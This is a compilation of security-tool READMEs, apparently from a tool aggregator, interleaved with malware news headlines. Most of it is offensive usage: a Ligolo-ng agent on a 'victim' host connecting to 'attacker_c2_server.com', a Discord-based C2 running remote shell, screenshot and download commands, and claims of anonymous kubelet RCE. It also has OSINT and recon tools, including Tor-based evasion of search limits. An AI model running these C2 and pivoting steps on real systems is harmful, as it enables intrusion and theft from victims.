You need to download the Wintun driver (used by WireGuard) and place the wintun.dll in the same folder as Ligolo (make sure you use the right architecture).

Running Ligolo-ng proxy server

Start the proxy server on your Command and Control (C2) server (default port 11601):

$ ./proxy -h # Help options
$ ./proxy -autocert # Automatically request LetsEncrypt certificates

TLS Options

Using Let's Encrypt Autocert

When using the -autocert option, the proxy will automatically request a certificate (using Let's Encrypt) for attacker_c2_server.com when an agent connects.

Port 80 needs to be accessible for Let's Encrypt certificate validation/retrieval

Using your own TLS certificates

If you want to use your own certificates for the proxy server, you can use the -certfile and -keyfile parameters.

Automatic self-signed certificates (NOT RECOMMENDED)

The proxy/relay can automatically generate self-signed TLS certificates using the -selfcert option.

The -ignore-cert option needs to be used with the agent.

Beware of man-in-the-middle attacks! This option should only be used in a test environment or for debugging purposes.

Using Ligolo-ng

Start the agent on your target (victim) computer (no privileges are required!):

$ ./agent -connect attacker_c2_server.com:11601

If you want to tunnel the connection over a SOCKS5 proxy, you can use the --socks ip:port option. You can specify SOCKS credentials using the --socks-user and --socks-pass arguments.

A session should appear on the proxy server.

INFO[0102] Agent joined. name=nchatelain@nworkstation remote="XX.XX.XX.XX:38000"

Use the session command to select the agent.

ligolo-ng » session 
? Specify a session : 1 - nchatelain@nworkstation - XX.XX.XX.XX:38000

Display the network configuration of the agent using the ifconfig command:

[Agent : nchatelain@nworkstation] » ifconfig 
[...]
┌─────────────────────────────────────────────┐
│ Interface 3                                 │
├──────────────┬──────────────────────────────┤
│ Name         │ wlp3s0                       │
│ Hardware MAC │ de:ad:be:ef:ca:fe            │
│ MTU          │ 1500                            │
│ Flags        │ up|broadcast|multicast       │
│ IPv4 Address │ 192.168.0.30/24             │
└──────────────┴──────────────────────────────┘

Add a route on the proxy/relay server to the 192.168.0.0/24 agent network.

Linux:

$ sudo ip route add 192.168.0.0/24 dev ligolo

Windows:

> netsh int ipv4 show interfaces

Idx     Mét         MTU          État                Nom
---  ----------  ----------  ------------  ---------------------------
 25           5       65535  connected     ligolo

> route add 192.168.0.0 mask 255.255.255.0 0.0.0.0 if [THE INTERFACE IDX]

Start the tunnel on the proxy:

[Agent : nchatelain@nworkstation] » start
[Agent : nchatelain@nworkstation] » INFO[0690] Starting tunnel to nchatelain@nworkstation   

You can now access the 192.168.0.0/24 agent network from the proxy server.

$ nmap 192.168.0.0/24 -v -sV -n
[...]
$ rdesktop 192.168.0.123
[...]

Agent Binding/Listening

You can listen to ports on the agent and redirect connections to your control/proxy server.

In a ligolo session, use the listener_add command.

The following example will create a TCP listening socket on the agent (0.0.0.0:1234) and redirect connections to the 4321 port of the proxy server.

[Agent : nchatelain@nworkstation] » listener_add --addr 0.0.0.0:1234 --to 127.0.0.1:4321 --tcp
INFO[1208] Listener created on remote agent!            

On the proxy:

$ nc -lvp 4321

When a connection is made on the TCP port 1234 of the agent, nc will receive the connection.

This is very useful when using reverse tcp/udp payloads.

You can view currently running listeners using the listener_list command and stop them using the listener_stop [ID] command:

[Agent : nchatelain@nworkstation] » listener_list 
┌───────────────────────────────────────────────────────────────────────────────┐
│ Active listeners                                                              │
├───┬─────────────────────────┬─────   ───────────────────┬────────────────────────┤
│ # │ AGENT                   │ AGENT LISTENER ADDRESS │ PROXY REDIRECT ADDRESS │
├───┼─────────────────────────┼────────────────────────┼────────────────────────&   #9508;
│ 0 │ nchatelain@nworkstation │ 0.0.0.0:1234           │ 127.0.0.1:4321         │
└───┴─────────────────────────┴────────────────────────┴────────────────────────┘

[Agent : nchatelain@nworkstation] » listener_stop 0
INFO[1505] Listener closed.                             

Demo

Does it require Administrator/root access ?

On the agent side, no! Everything can be performed without administrative access.

However, on your relay/proxy server, you need to be able to create a tun interface.

Supported protocols/packets

• TCP
• UDP
• ICMP (echo requests)

Performance

You can easily hit more than 100 Mbits/sec. Here is a test using iperf from a 200Mbits/s server to a 200Mbits/s connection.

$ iperf3 -c 10.10.0.1 -p 24483
Connecting to host 10.10.0.1, port 24483
[  5] local 10.10.0.224 port 50654 connected to 10.10.0.1 port 24483
[ ID] Interval           Transfer     Bitrate         Retr  Cwnd
[  5]   0.00-1.00   sec  12.5 MBytes   105 Mbits/sec    0    164 KBytes       
[  5]   1.00-2.00   sec  12.7 MBytes   107 Mbits/sec    0    263 KBytes       
[  5]   2.00-3.00   sec  12.4 MBytes   104 Mbits/sec    0    263 KBytes       
[  5]   3.00-4.00   sec  12.7 MBytes   106 Mbits/sec    0    263 KBytes       
[  5]   4.00-5.00   sec  13.1 MBytes   110 Mbits/sec    2    134 KBytes       
[  5]   5.00-6.00   sec  13.4 MBytes   113 Mbits/sec    0    147 KBytes       
[  5]   6.00-7.00   sec  12.6 MBytes   105 Mbits/sec    0    158 KBytes       
[  5]   7.00-8.00   sec  12.1 MBytes   101 Mbits/sec    0    173 KBytes       
[  5]   8.   00-9.00   sec  12.7 MBytes   106 Mbits/sec    0    182 KBytes       
[  5]   9.00-10.00  sec  12.6 MBytes   106 Mbits/sec    0    188 KBytes       
- - - - - - - - - - - - - - - - - - - - - - - - -
[ ID] Interval           Transfer     Bitrate         Retr
[  5]   0.00-10.00  sec   127 MBytes   106 Mbits/sec    2             sender
[  5]   0.00-10.08  sec   125 MBytes   104 Mbits/sec                  receiver

Caveats

Because the agent is running without privileges, it's not possible to forward raw packets. When you perform a NMAP SYN-SCAN, a TCP connect() is performed on the agent.

When using nmap, you should use --unprivileged or -PE to avoid false positives.

Todo

• Implement other ICMP error messages (this will speed up UDP scans) ;
• Do not RST when receiving an ACK from an invalid TCP connection (nmap will report the host as up) ;
• Add mTLS support.

Credits

• Nicolas Chatelain <nicolas -at- chatelain.me>

CloudRecon - Finding assets from certificates

CloudRecon

Finding assets from certificates! Scan the web! Tool presented @DEFCON 31

Install

** You must have CGO enabled, and may have to install gcc to run CloudRecon**

sudo apt install gcc

go install github.com/g0ldencybersec/CloudRecon@latest

Description

CloudRecon

CloudRecon is a suite of tools for red teamers and bug hunters to find ephemeral and development assets in their campaigns and hunts.

Often, target organizations stand up cloud infrastructure that is not tied to their ASN or related to known infrastructure. Many times these assets are development sites, IT product portals, etc. Sometimes they don't have domains at all but many still need HTTPs.

CloudRecon is a suite of tools to scan IP addresses or CIDRs (ex: cloud providers IPs) and find these hidden gems for testers, by inspecting those SSL certificates.

The tool suite is three parts in GO:

Scrape - A LIVE running tool to inspect the ranges for a keywork in SSL certs CN and SN fields in real time.

Store - a tool to retrieve IPs certs and download all their Orgs, CNs, and SANs. So you can have your OWN cert.sh database.

Retr - a tool to parse and search through the downloaded certs for keywords.

Usage

MAIN

Usage: CloudRecon scrape|store|retr [options]

  -h    Show the program usage message

Subcommands: 

        cloudrecon scrape - Scrape given IPs and output CNs & SANs to stdout
        cloudrecon store - Scrape and collect Orgs,CNs,SANs in local db file
        cloudrecon retr - Query local DB file for results

SCRAPE

scrape [options] -i <IPs/CIDRs or File>
  -a    Add this flag if you want to see all output including failures
  -c int
        How many goroutines running concurrently (default 100)
  -h    print usage!
  -i string
        Either IPs & CIDRs separated by commas, or a file with IPs/CIDRs on each line (default "NONE"                                                                                                                         )
  -p string
        TLS ports to check for certificates (default "443")
  -t int
        Timeout for TLS handshake (default 4)

STORE

store [options] -i <IPs/CIDRs or File>
  -c int
        How many goroutines running concurrently (default 100)
  -db string
        String of the DB you want to connect to and save certs! (default "certificates.db")
  -h    print usage!
  -i string
        Either IPs & CIDRs separated by commas, or a file with IPs/CIDRs on each line (default "NONE")
  -p string
        TLS ports to check for certificates (default "443")
  -t int
        Timeout for TLS handshake (default 4)

RETR

retr [options]
  -all
        Return all the rows in the DB
  -cn string
        String to search for in common name column, returns like-results (default "NONE")
  -db string
        String of the DB you want to connect to and save certs! (default "certificates.db")
  -h    print usage!
  -ip string
        String to search for in IP column, returns like-results (default "NONE")
  -num
        Return the Number of rows (results) in the DB (By IP)
  -org string
        String to search for in Organization column, returns like-results (default "NONE")
  -san string
        String to search for in common name column, returns like-results (default "NONE")

EasyEASM - Zero-dollar Attack Surface Management Tool

Description

Easy EASM is just that... the easiest to set-up tool to give your organization visibility into its external facing assets.

The industry is dominated by $30k vendors selling "Attack Surface Management," but OG bug bounty hunters and red teamers know the truth. External ASM was born out of the bug bounty scene. Most of these $30k vendors use this open-source tooling on the backend.

With ten lines of setup or less, using open-source tools, and one button deployment, Easy EASM will give your organization a complete view of your online assets. Easy EASM scans you daily and alerts you via Slack or Discord on newly found assets! Easy EASM also spits out an Excel skeleton for a Risk Register or Asset Database! This isn't rocket science, but it's USEFUL. Don't get scammed. Grab Easy EASM and feel confident you know what's facing attackers on the internet.

Installation

go install github.com/g0ldencybersec/EasyEASM/easyeasm@latest

Example config file

The tool expects a configuration file named config.yml to be in the directory you are running from.

Here is example of this yaml file:

# EasyEASM configurations
runConfig:
  domains:  # List root domains here.
    - example.com
    - mydomain.com
  slack: https://hooks.slack.com/services/DUMMYDATA/DUMMYDATA/RANDOM # Slack webhook url for Slack notifications.
  discord: https://discord.com/api/webhooks/DUMMYURL/Dasdfsdf # Discord webhook for Discord notifications.
  runType: fast   # Set to either fast (passive enum) or complete (active enumeration).
  activeWordList: subdomainWordlist.txt
  activeThreads: 100

Usage

To run the tool, fill out the config file: config.yml. Then, run the easyeasm module:

./easyeasm

After the run is complete, you should see the output CSV (EasyEASM.csv) in the run directory. This CSV can be added to your asset database and risk register!

Warranty

The creator(s) of this tool provides no warranty or assurance regarding its performance, dependability, or suitability for any specific purpose.

The tool is furnished on an "as is" basis without any form of warranty, whether express or implied, encompassing, but not limited to, implied warranties of merchantability, fitness for a particular purpose, or non-infringement.

The user assumes full responsibility for employing this tool and does so at their own peril. The creator(s) holds no accountability for any loss, damage, or expenses sustained by the user or any third party due to the utilization of this tool, whether in a direct or indirect manner.

Moreover, the creator(s) explicitly renounces any liability or responsibility for the accuracy, substance, or availability of information acquired through the use of this tool, as well as for any harm inflicted by viruses, malware, or other malicious components that may infiltrate the user's system as a result of employing this tool.

By utilizing this tool, the user acknowledges that they have perused and understood this warranty declaration and agree to undertake all risks linked to its utilization.

License

This project is licensed under the MIT License - see the LICENSE.md for details.

Contact

For assistance, use the Issues tab. If we do not respond within 7 days, please reach out to us here.

• Gunnar Andrews
• Olivia Gallucci
• Jason Haddix

Iranian Hackers Using MuddyC2Go in Telecom Espionage Attacks Across Africa

SideCopy Exploiting WinRAR Flaw in Attacks Targeting Indian Government Entities

DorXNG - Next Generation DorX. Built By Dorks, For Dorks

DorXNG is a modern solution for harvesting OSINT data using advanced search engine operators through multiple upstream search providers. On the backend it leverages a purpose built containerized image of SearXNG, a self-hosted, hackable, privacy focused, meta-search engine.

Our SearXNG implementation routes all search queries over the Tor network while refreshing circuits every ten seconds with Tor's MaxCircuitDirtiness configuration directive. We have also disabled all of SearXNG's client side timeout features. These settings allow for evasion of search engine restrictions commonly encountered while issuing many repeated search queries.

The DorXNG client application is written in Python3, and interacts with the SearXNG API to issue search queries concurrently. It can even issue requests across multiple SearXNG instances. The resulting search results are stored in a SQLite3 database.

We have enabled every supported upstream search engine that allows advanced search operator queries:

• Google
• DuckDuckGo
• Qwant
• Bing
• Brave
• Startpage
• Yahoo

For more information about what search engines SearXNG supports See: Configured Engines

Setup ️

LINUX ONLY ** Sorry Normies **

Install DorXNG

git clone https://github.com/researchanddestroy/dorxng
cd dorxng
pip install -r requirements.txt
./DorXNG.py -h

Download and Run Our Custom SearXNG Docker Container (at least one). Multiple SearXNG instances can be used. Use the --serverlist option with DorXNG. See: server.lst

When starting multiple containers wait at least a few seconds between starting each one.

docker run researchanddestroy/searxng:latest

If you would like to build the container yourself:

git clone https://github.com/researchanddestroy/searxng # The URL must be all lowercase for the build process to complete
cd searxng
DOCKER_BUILDKIT=1 make docker.build
docker images
docker run <image-id>

By default DorXNG has a hard coded server variable in parse_args.py which is set to the IP address that Docker will assign to the first container you run on your machine 172.17.0.2. This can be changed, or overwritten with --server or --serverlist.

Start Issuing Search Queries

./DorXNG.py -q 'search query'

Query the DorXNG Database

./DorXNG.py -D 'regex search string'

Instructions 

-h, --help            show this help message and exit
-s SERVER, --server SERVER
                      DorXNG Server Instance - Example: 'https://172.17.0.2/search'
-S SERVERLIST, --serverlist SERVERLIST
                      Issue Search Queries Across a List of Servers - Format: Newline Delimited
-q QUERY, --query QUERY
                      Issue a Search Query - Examples: 'search query' | '!tch search query' | 'site:example.com intext:example'
-Q QUERYLIST, --querylist QUERYLIST
                      Iterate Through a Search Query List - Format: Newline Delimited
-n NUMBER, --number NUMBER
                      Define the Number of Page Result Iterations
-c CONCURRENT, --concurrent CONCURRENT
                      Define the Number of Concurrent Page Requests
-l LIMITDATABASE, --limitdatabase LIMITDATABASE
                      Set Maximum Database Size Limit - Starts New Database After Exceeded - Example: --   limitdatabase 10 (10k Database Entries) - Suggested Maximum Database Size is 50k
                      when doing Deep Recursion
-L LOOP, --loop LOOP  Define the Number of Main Function Loop Iterations - Infinite Loop with 0
-d DATABASE, --database DATABASE
                      Specify SQL Database File - Default: 'dorxng.db'
-D DATABASEQUERY, --databasequery DATABASEQUERY
                      Issue Database Query - Format: Regex
-m MERGEDATABASE, --mergedatabase MERGEDATABASE
                      Merge SQL Database File - Example: --mergedatabase database.db
-t TIMEOUT, --timeout TIMEOUT
                      Specify Timeout Interval Between Requests - Default: 4 Seconds - Disable with 0
-r NONEWRESULTS, --nonewresults NONEWRESULTS
                      Specify Number of Iterations with No New Results - Default: 4 (3 Attempts) - Disable with 0
-v, --verbose         Enable Verbose Output
-vv, --veryverbose    Enable Very Ver   bose Output - Displays Raw JSON Output

Tips 

Sometimes you will hit a Tor exit node that is already shunted by upstream search providers, causing you to receive a minimal amount of search results. Not to worry... Just keep firing off queries. 

Keep your DorXNG SQL database file and rerun your command, or use the --loop switch to iterate the main function repeatedly. 

Most often, the more passes you make over a search query the more results you'll find. 

Also keep in mind that we have made a sacrifice in speed for a higher degree of data output. This is an OSINT project after all. 

Each search query you make is being issued to 7 upstream search providers... Especially with --concurrent queries this generates a lot of upstream requests... So have patience.

Keep in mind that DorXNG will continue to append new search results to your database file. Use the --database switch to specify a database filename, the default filename is dorxng.db. This probably doesn't matter for most, but if you want to keep your OSINT investigations seperate it's there for you.

Four concurrent search requests seems to be the sweet spot. You can issue more, but the more queries you issue at a time the longer it takes to receive results. It also increases the likelihood you receive HTTP/429 Too Many Requests responses from upstream search providers on that specific Tor circuit.

If you start multiple SearXNG Docker containers too rapidly Tor connections may fail to establish. While initializing a container, a valid response from the Tor Connectivity Check function looks like this:

./DorXNG.py -d ghdb.db -D '^http.*\.sql$'

./DorXNG.py -q 'search query'

./DorXNG.py -q 'search query' -c4

./DorXNG.py -q 'search query' -n4

./DorXNG.py -q 'search query' -c4 -n64

./DorXNG.py -S server.lst -q 'search query' -c4 -n64 -t0

./DorXNG.py -Q query.lst -c4 -n64

./DorXNG.py -S server.lst -Q query.lst -c4 -n64 -t0

./DorXNG.py -S server.lst -Q query.lst -c4 -n64 -t0 -L4

./DorXNG.py -S server.lst -Q query.lst -c4 -n64 -t0 -L0 -l10

./DorXNG.py -d new-database.db -m dorxng.db

for i in `ls *.db`; do ./DorXNG.py -d new-database.db -m $i; done

./DorXNG.py -d new-database.db -D 'regex search string'

DDoSia Attack Tool Evolves with Encryption, Targeting Multiple Sectors

EndExt - Go Tool For Extracting All The Possible Endpoints From The JS Files

EndExt is a .go tool for extracting all the possible endpoints from the JS files

Idea

When you crawll all the JS files from waybackruls for example, or even collecting the JS files urls from your target website's home source page .. If the website was using API system and you wanna look for all the endpoints in the JS files, cuz u may find something hidden here or there .. That's why i made this tool .. I give it the JS files urls .. It graps all the possible endpoints or urls or paths in the submitted JS files for me ..

Installation

Just need to install go, run:

▶ brew install go
▶ git clone https://github.com/SirBugs/endext.git

or download from https://go.dev/dl/

Usage:

▶ go run main.go urls.txt


               /$$$$$$$$                 /$$ /$$$$$$$$             /$$
              | $$_____/                | $$| $$_____/            | $$
              | $$       /$$$$$$$   /$$$$$$$| $$       /$$   /$$ /$$$$$$
              | $$$$$   | $$__  $$ /$$__  $$| $$$$$   |  $$ /$$/|_  $$_/
              | $$__/   | $$  \ $$| $$  | $$| $$__/    \  $$$$/   | $$
              | $$      | $$  | $$| $$  | $$| $$        >$$  $$   | $$ /$$
              | $$$$$$$$| $$  | $$|  $$$$$$$| $$$$$$$$ /$$/\  $$  |  $$$$/
              |________/|__/  |__/ \_______/|________/|__/  \__/   \___/

                       EndPointExt Tool By @SirBugs .go Version
                             V: 1.0.2 Made With All Love
                  For Extracting all possilbe endpoints from Js files
                         Twitter@SirBagoza -- GitHub@SirBugs
                           Run : go run main.g   o jsurls.txt

endpoints/users/password
sign-in
endpoints/sign-out
endpoints/billing/update-billing-info
endpoints/billing/get-account
endpoints/billing/create-account
endpoints/billing/list-subscriptions
endpoints/billing/create-new-subscription-purchase
endpoints/billing/create-one-time-payment
endpoints/billing/get-account
endpoints/billing/create-account
endpoints/billing/list-subscriptions
endpoints/billing/create-new-subscription-purchase
endpoints/billing/create-one-time-payment

One Line Command:

▶ echo 'target.com' | waybackurls | tee waybackresults.txt; cat waybackresults.txt | grep "\.js" > js_files.txt; go run main.go js_files.txt

// You can use Gau, HaKrawler, Katana, etc...

Credits

This tool was written in Golang 1.19.4, Made with all love in Egypt! <3

Twitter@SirBagoza , Github@SirBugs

Experts Uncover Year-Long Cyber Attack on IT Firm Utilizing Custom Malware RDStealer

New Golang-based Skuld Malware Stealing Discord and Browser Data from Windows PCs

Kubestroyer - Kubernetes Exploitation Tool

Kubestroyer

Kubestroyer aims to exploit Kubernetes clusters misconfigurations and be the swiss army knife of your Kubernetes pentests

About The Project

Kubestroyer is a Golang exploitation tool that aims to take advantage of Kubernetes clusters misconfigurations.

The tool is scanning known Kubernetes ports that can be exposed as well as exploiting them.

Getting Started

To get a local copy up and running, follow these simple example steps.

Prerequisites

• Go 1.19

  wget https://go.dev/dl/go1.19.4.linux-amd64.tar.gz
  tar -C /usr/local -xzf go1.19.4.linux-amd64.tar.gz

Installation

Use prebuilt binary

or

Using go install command :

$ go install github.com/Rolix44/Kubestroyer@latest

or

build from source:

1. Clone the repo

   $ git clone https://github.com/Rolix44/Kubestroyer.git

2. build the binary

   $ go build -o Kubestroyer cmd/kubestroyer/main.go 

Usage

Currently supported features

• Target

  • List of multiple targets
  • Input file as target

• Scanning

  • Known ports scan
  • Node port scan (30000 to 32767)
  • Port description

• Vulnerabilities

  • Annon RCE on Kubelet
    • Choose command to execute

Roadmap

• Choose the pod for anon RCE
• Etcd exploit
• Kubelet read-only API parsing for information disclosure

See the open issues for a full list of proposed features (and known issues).

Contributing

Contributions are what make the open source community such an amazing place to learn, inspire, and create. Any contributions you make are greatly appreciated.

If you have a suggestion that would make this better, please fork the repo and create a pull request. You can also simply open an issue with the tag "enhancement". Don't forget to give the project a star! Thanks again!

1. Fork the Project
2. Create your Feature Branch (git checkout -b feature/AmazingFeature)
3. Commit your Changes (git commit -m 'Add some AmazingFeature')
4. Push to the Branch (git push origin feature/AmazingFeature)
5. Open a Pull Request

License

Distributed under the MIT License. See LICENSE.txt for more information.

Contact

Rolix - @Rolix_cy - rolixcy@protonmail.com

Project Link: https://github.com/Rolix44/Kubestroyer

DCVC2 - A Golang Discord C2 Unlike Any Other

This multi operating system compatible tool was created to leverage Discord's voice channels for command and control operations. This tool operates entirely over the Real-Time Protocol (RTP) primarily leveraging DiscordGo and leaves no pesky traces behind in text channels. It is a command line based tool meaning all operations will occur strictly from the terminal on either Windows/Linux/OSX. Please use responsibly but have fun! ;)

Requirements:

1. Updated (wrong link before) Read about DCVC2
2. You need a Discord account.
3. You need a Discord server.
4. Increase voice chat speed to 96kbps in settings.
5. You need 2 Discord bots. I found it easiest to give both bots admin perms over the discord server but you can fine tune them to only need voice permissions. The best guide to create bots is here.

Build:

git clone https://github.com/3NailsInfoSec/DCVC2.git
cd DCVC2
go mod download
go build server.go
go build agent.go

Usage:

When you execute the server and agent you should see both join the voice channel you specify:

Shell commands:

cmd> whoami

desktop-3kjj3kj\sm00v

I added 2 hardcoded additions besides basic shell usage:

cmd> screenshot
screenshotting..............................................

&

cmd> download
download file path>C:\Users\sm00v\Downloads\34954477.jpg
............................................................

Credits

Twitter: @sm00v

Github: @sm00v

New GobRAT Remote Access Trojan Targeting Linux Routers in Japan

Hackers Using Golang Variant of Cobalt Strike to Target Apple macOS Systems

NTLMRecon - A Tool For Performing Light Brute-Forcing Of HTTP Servers To Identify Commonly Accessible NTLM Authentication Endpoints

NTLMRecon is a Golang version of the original NTLMRecon utility written by Sachin Kamath (AKA pwnfoo). NTLMRecon can be leveraged to perform brute forcing against a targeted webserver to identify common application endpoints supporting NTLM authentication. This includes endpoints such as the Exchange Web Services endpoint which can often be leveraged to bypass multi-factor authentication.

The tool supports collecting metadata from the exposed NTLM authentication endpoints including information on the computer name, Active Directory domain name, and Active Directory forest name. This information can be obtained without prior authentication by sending an NTLM NEGOTIATE_MESSAGE packet to the server and examining the NTLM CHALLENGE_MESSAGE returned by the targeted server. We have also published a blog post alongside this tool discussing some of the motiviations behind it's development and how we are approaching more advanced metadata collectoin within Chariot.

Why build a new version of this capability?

We wanted to perform brute-forcing and automated identification of exposed NTLM authentication endpoints within Chariot, our external attack surface management and continuous automated red teaming platform. Our primary backend scanning infrastructure is written in Golang and we didn't want to have to download and shell out to the NTLMRecon utility in Python to collect this information. We also wanted more control over the level of detail of the information we collected, etc.

Installation

The following command can be leveraged to install the NTLMRecon utility. Alternatively, you may download a precompiled version of the binary from the releases tab in GitHub.

go install github.com/praetorian-inc/NTLMRecon/cmd/NTLMRecon@latest

Usage

The following command can be leveraged to invoke the NTLM recon utility and discover exposed NTLM authentication endpoints:

NTLMRecon -t https://autodiscover.contoso.com

The following command can be leveraged to invoke the NTLM recon utility and discover exposed NTLM endpoints while outputting collected metadata in a JSON format:

NTLMRecon -t https://autodiscover.contoso.com -o json

Example JSON Output

Below is an example JSON output with the data we collect from the NTLM CHALLENGE_MESSAGE returned by the server:

{
  "url": "https://autodiscover.contoso.com/EWS/",
  "ntlm": {
    "netbiosComputerName": "MSEXCH1",
    "netbiosDomainName": "CONTOSO",
    "dnsDomainName": "na.contoso.local",
    "dnsComputerName": "msexch1.na.contoso.local",
    "forestName": "contoso.local"
  }
}

➜  ~ NTLMRecon -t https://adfs.contoso.com -o json | jq
{
  "url": "https://adfs.contoso.com/adfs/services/trust/2005/windowstransport",
  "ntlm": {
    "netbiosComputerName": "MSFED1",
    "netbiosDomainName": "CONTOSO",
    "dnsDomainName": "corp.contoso.com",
    "dnsComputerName": "MSEXCH1.corp.contoso.com",
    "forestName": "contoso.com"
  }
}
➜  ~ NTLMRecon -t https://autodiscover.contoso.com
https://autodiscover.contoso.com/Autodiscover
https://autodiscover.contoso.com/Autodiscover/AutodiscoverService.svc/root
https://autodiscover.contoso.com/Autodiscover/Autodiscover.xml
https://autodiscover.contoso.com/EWS/
https://autodiscover.contoso.com/OAB/
https://autodiscover.contoso.com/Rpc/
➜  ~

Potential Additional Features

Our methodology when developing this tool has targeted the most barebones version of the desired capability for the initial release. The goal for this project was to create an initial tool we could integrate into Chariot and then allow community contributions and feedback to drive additional tooling improvements or functionality. Below are some ideas for additional functionality which could be added to NTLMRecon:

• Concurrency and Performance Improvements: There could be some additional improvements to concurrency and performance. Currently, the tool sequentially makes HTTP requests and waits for the previous request to be performed.
• Batch Scanning Functionality: Another idea would be to extend the NTLMRecon utility to accept a list of hosts from standard input. One usage scenario for this could be an attacker running a combination of “subfinder | httpx | NTLMRecon” to enumerate HTTP servers and then identify NTLM authentication endpoints that are exposed externally across an entire attack surface.
• One-off Data Collection Capability: A user may wish to perform one-off data collection targeting a specific endpoint which is currently not supported by NTLMRecon.
• User-Agent Randomization or Control: A user may wish to randomize the user-agents used to make requests. Alternatively when targeting Microsoft Exchange servers sometimes using a user-agent with a mobile client or legacy third-party email client can allow requests to the /EWS/Exchange.asmx endpoint through, etc.

References

[1] https://www.praetorian.com/blog/automating-the-discovery-of-ntlm-authentication-endpoints/

Seekr - A Multi-Purpose OSINT Toolkit With A Neat Web-Interface

A multi-purpose toolkit for gathering and managing OSINT-Data with a neat web-interface.

Introduction

Seekr is a multi-purpose toolkit for gathering and managing OSINT-data with a sleek web interface. The backend is written in Go and offers a wide range of features for data collection, organization, and analysis. Whether you're a researcher, investigator, or just someone looking to gather information, seekr makes it easy to find and manage the data you need. Give it a try and see how it can streamline your OSINT workflow!

Check the wiki for setup guide, etc.

Why use seekr over my current tool ?

Seekr combines note taking and OSINT in one application. Seekr can be used alongside your current tools. Seekr is desingned with OSINT in mind and optimized for real world usecases.

Key features

• Database for OSINT targets
• GitHub to email
• Account cards for each person in the database
• Account discovery intigrating with the account cards
• Pre defined commonly used fields in the database

Getting Started - Installation

Windows

Download the latest exe here

Linux (stable)

Download the latest stable binary here

Linux (unstable)

To install seekr on linux simply run:

git clone https://github.com/seekr-osint/seekr
cd seekr
go run main.go

Now open the web interface in your browser of choice.

Run on NixOS

Seekr is build with NixOS in mind and therefore supports nix flakes. To run seekr on NixOS run following commands.

nix shell github:seekr-osint/seekr
seekr

Intigrating seekr into your current workflow

journey
	title How to Intigrate seekr into your current workflow.
	section Initial Research
		Create a person in seekr: 100: seekr
    Simple web research: 100: Known tools
		Account scan: 100: seekr
	section Deeper account investigation
		Investigate the accounts: 100: seekr, Known tools
		Keep notes: 100: seekr
  section Deeper Web research
    Deep web research: 100: Known tools
    Keep notes: 100: seekr
	section Finishing the report
		Export the person with seekr: 100: seekr
		Done.: 100

Feedback

We would love to hear from you. Tell us about your opinions on seekr. Where do we need to improve?... You can do this by just opeing up an issue or maybe even telling others in your blog or somewhere else about your experience.

Legal Disclaimer

This tool is intended for legitimate and lawful use only. It is provided for educational and research purposes, and should not be used for any illegal or malicious activities, including doxxing. Doxxing is the practice of researching and broadcasting private or identifying information about an individual, without their consent and can be illegal. The creators and contributors of this tool will not be held responsible for any misuse or damage caused by this tool. By using this tool, you agree to use it only for lawful purposes and to comply with all applicable laws and regulations. It is the responsibility of the user to ensure compliance with all relevant laws and regulations in the jurisdiction in which they operate. Misuse of this tool may result in criminal and/or civil prosecut ion.

Grepmarx - A Source Code Static Analysis Platform For AppSec Enthusiasts

Grepmarx is a web application providing a single platform to quickly understand, analyze and identify vulnerabilities in possibly large and unknown code bases.

Features

SAST (Static Analysis Security Testing) capabilities:

• Multiple languages support: C/C++, C#, Go, HTML, Java, Kotlin, JavaScript, TypeScript, OCaml, PHP, Python, Ruby, Bash, Rust, Scala, Solidity, Terraform, Swift
• Multiple frameworks support: Spring, Laravel, Symfony, Django, Flask, Node.js, jQuery, Express, Angular...
• 1600+ existing analysis rules
• Easily extend analysis rules using Semgrep syntax: https://semgrep.dev/editor
• Manage rules in rule packs to tailor code scanning

SCA (Software Composition Analysis) capabilities:

• Multiple package-dependency formats support: NPM, Maven, Gradle, Composer, pip, Gopkg, Gem, Cargo, NuPkg, CSProj, PubSpec, Cabal, Mix, Conan, Clojure, Docker, GitHub Actions, Jenkins HPI, Kubernetes
• SBOM (Software Bill-of-Materials) generation (CycloneDX compliant)

Extra

• Analysis workbench designed to efficiently browse scan results
• Scan code that doesn't compile
• Comprehensive LOC (Lines of Code) counter
• Inspector: automatic application features discovery
• ... and a Dark Mode

Screenshots

Scan customization	Analysis workbench	Rule pack edition

Execution

Grepmarx is provided with a configuration to be executed in Docker and Gunicorn.

Docker execution

Make sure you have docker-composer installed on the system, and the docker daemon is running. The application can then be easily executed in a docker container. The steps:

Get the code

$ git clone https://github.com/Orange-Cyberdefense/grepmarx.git
$ cd grepmarx

Start the app in Docker

$ sudo docker-compose pull && sudo docker-compose build && sudo docker-compose up -d

Visit http://localhost:5000 in your browser. The app should be up & running.

Note: a default user account is created on first launch (user=admin / password=admin). Change the default password immediately.

Gunicorn

Gunicorn 'Green Unicorn' is a Python WSGI HTTP Server for UNIX. A supervisor configuration file is provided to start it along with the required Celery worker (used for security scans queuing).

Install using pip

$ pip install gunicorn supervisor

Start the app using gunicorn binary

$ supervisord -c supervisord.conf

Visit http://localhost:8001 in your browser. The app should be up & running.

Note: a default user account is created on first launch (user=admin / password=admin). Change the default password immediately.

Build from sources

Get the code

$ git clone https://github.com/Orange-Cyberdefense/grepmarx.git
$ cd grepmarx

Install virtualenv modules

$ virtualenv env
$ source env/bin/activate

Install Python modules

$ # SQLite Database (Development)
$ pip3 install -r requirements.txt
$ # OR with PostgreSQL connector (Production)
$ # pip install -r requirements-pgsql.txt

Install additionnal requirements

# Dependency scan (cdxgen / depscan) requirements
$ sudo apt install npm openjdk-17-jdk maven gradle golang composer
$ sudo npm install -g @cyclonedx/cdxgen
$ pip install appthreat-depscan

A Redis server is required to queue security scans. Install the redis package with your favorite distro package manager, then:

$ redis-server

Set the FLASK_APP environment variable

$ export FLASK_APP=run.py
$ # Set up the DEBUG environment
$ # export FLASK_ENV=development

Start the celery worker process

$ celery -A app.celery_worker.celery worker --pool=prefork --loglevel=info --detach

Start the application (development mode)

$ # --host=0.0.0.0 - expose the app on all network interfaces (default 127.0.0.1)
$ # --port=5000    - specify the app port (default 5000)  
$ flask run --host=0.0.0.0 --port=5000

Access grepmarx in browser: http://127.0.0.1:5000/

Note: a default user account is created on first launch (user=admin / password=admin). Change the default password immediately.

Credits & Links

• The web application dashboard is based on AdminLTE Flask
• SAST code scanning is powered by the semgrep engine
• SBOM generation is done with the great CycloneDX cdxgen, and SCA is performed using the awesome AppThreat dep-scan
• LOC counting is handled by scc
• Features discovery is done using Application Inspector

Grepmarx - Provided by Orange Cyberdefense.

New GoLang-Based HinataBot Exploiting Router and Server Flaws for DDoS Attacks

Titan Stealer: A New Golang-Based Information Stealer Malware Emerges

